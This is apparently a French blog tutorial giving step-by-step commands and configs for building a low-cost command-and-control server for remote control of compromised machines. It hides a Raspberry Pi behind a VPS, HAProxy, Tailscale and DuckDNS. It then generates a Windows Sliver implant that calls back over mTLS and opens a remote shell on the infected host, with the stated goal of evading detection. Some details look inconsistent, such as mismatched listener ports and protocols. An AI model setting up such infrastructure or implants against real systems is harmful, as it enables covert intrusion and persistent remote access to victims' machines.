# Infrastructure C2 économique sur Raspberry Pi : Configuration étape par étape en une soirée
La construction d'une infrastructure de commandement et de contrôle (C2) pour la recherche en cybersécurité est souvent associée à des solutions commerciales coûteuses. Ce guide explique comment mettre en place un système C2 entièrement fonctionnel sur un Raspberry Pi 4 en utilisant des logiciels open-source. L'accent est mis sur la réduction des coûts tout en préservant les fonctionnalités essentielles : trafic chiffré, DNS dynamique et discrétion face à la détection. Ce matériel est destiné à des fins éducatives uniquement, dans le cadre du hacking éthique.
Architecture du système C2 économique
Vous aurez besoin des éléments suivants pour la réalisation :
- Raspberry Pi 4 (4 Go de RAM) — serveur principal d'implant
- Carte SD de 32 Go
- VPS avec 2 Go de RAM (à partir de 4 €/mois) pour le point d'accès public
- Tailscale — pour le tunnel sécurisé entre les composants
- Sliver v1.7.3 — alternative open-source à Cobalt Strike
- DuckDNS — service de DNS dynamique
L'architecture du système suit ce flux : implant → duckdns.org:443 → VPS (HAProxy) → Tailscale → Raspberry Pi (Sliver:31337). Cette configuration masque l'IP réelle du Pi derrière un domaine public et chiffre le trafic à chaque saut.
Mise en place du tunnel sécurisé avec Tailscale
Installez Tailscale sur le Raspberry Pi et le VPS de la même manière. Exécutez dans le terminal :
curl -fsSL https://tailscale.com/install.sh | sh
sudo tailscale up
Après l'authentification via navigateur, le système attribue à chaque nœud une IP Tailscale unique (par ex., Pi : 100.92.XX.XXX, VPS : 100.106.XXX.XX). Testez la connectivité entre les nœuds :
ping 100.92.XXX.XXX
Point clé : le trafic entre les composants est chiffré de bout en bout, empêchant l'interception aux nœuds intermédiaires. Tailscale gère automatiquement les mises à jour de routage si les IP changent, ce qui est crucial pour la stabilité des connexions.
Déploiement de Sliver sur Raspberry Pi
Téléchargez le binaire Sliver pour ARM64 :
cd /tmp
wget https://github.com/BishopFox/sliver/releases/download/v1.7.3/sliver-server_linux_arm64
sudo install -m 755 sliver-server_linux_arm64 /usr/local/bin/sliver-server
Lancez le serveur en tant que démon, en autorisant les connexions depuis n'importe quelle interface :
sliver-server daemon --lhost 0.0.0.0 --lport 31338
L'écouteur d'implants fonctionne sur le port 31337. Pour la gestion, utilisez la console Sliver : sliver-server console. Assurez-vous que le port 31337 est ouvert dans le pare-feu du Raspberry Pi.
Configuration de HAProxy sur le VPS
Installez HAProxy sur le serveur virtuel :
sudo apt install -y haproxy
Modifiez le fichier de configuration /etc/haproxy/haproxy.cfg :
global
log /dev/log local0
maxconn 10000
defaults
mode tcp
timeout connect 5s
timeout client 60s
timeout server 60s
frontend sliver_frontend
bind :443
default_backend sliver_backend
backend sliver_backend
server pi4 100.92.XXX.XXX:31337 check
Redémarrez le service :
sudo systemctl enable haproxy
sudo systemctl start haproxy
HAProxy agit comme un terminateur TLS, redirigeant le trafic du port 443 vers l'adresse interne du Raspberry Pi via Tailscale. Vérifiez son fonctionnement : openssl s_client -connect your-domain.duckdns.org:443.
Intégration du DNS dynamique
Enregistrez un domaine sur DuckDNS et pointez-le vers l'IP publique du VPS. Pour les mises à jour automatiques d'IP, ajoutez un script de mise à jour à cron. Vérifiez la résolution du domaine :
dig your-domain.duckdns.org
Cette étape est vitale pour la stabilité des connexions lorsque l'IP externe du VPS change. DuckDNS garantit que le domaine résout toujours vers l'adresse actuelle du serveur.
Génération et test de l'implant
Dans la console Sliver, créez un écouteur HTTP :
http --domain your-domain.duckdns.org --lhost 0.0.0.0 --lport 31337
Générez un implant Windows avec authentification mTLS :
generate --mtls your-domain.duckdns.org:443 --format exe --os windows --save /tmp/sliver.exe
Transférez le fichier vers un système Windows 10 de test (désactivez les défenses pour la démo). Une fois l'implant lancé, une session apparaît dans la console Sliver :
[*] Session c5360843 UNIFORM_DISGUST - 100.106.xxx.xx:48190 (win10) - windows/amd64
Connectez-vous à la session :
sessions -i c5360843
shell
Les tests confirment la résilience des connexions : les sessions survivent aux redémarrages de l'implant ou aux changements de réseau.
Optimisation et exploitation
Pour une meilleure fiabilité, nous recommandons :
- Configurer Sliver pour un démarrage automatique via systemd
- Ajouter une surveillance des logs HAProxy
- Utiliser des domaines séparés pour différents écouteurs
- Renouveler régulièrement les certificats Let's Encrypt
Commandes clés pour la gestion quotidienne :
# Lancement de Sliver
sliver-server daemon --lhost 0.0.0.0 --lport 31338
# Affichage des sessions actives
sessions
# Accès à l'interpréteur interactif
sessions -i <ID>
shell
Le système permet la gestion des implants via l'application mobile Tailscale, vous donnant un accès depuis n'importe où dans le monde.
Points clés à retenir
- Architecture à double chiffrement (TLS + Tailscale) qui minimise les risques de détection du trafic
- Coûts mensuels limités au VPS (à partir de 4 €) ; tout le reste est open-source
- Le Raspberry Pi 4 gère confortablement jusqu'à 50 sessions simultanées
- L'intégration DuckDNS résout les problèmes d'IP dynamique sans coût supplémentaire
- Sliver remplace entièrement les outils commerciaux avec des connaissances réseau de base
— Editorial Team
Aucun commentaire pour le moment.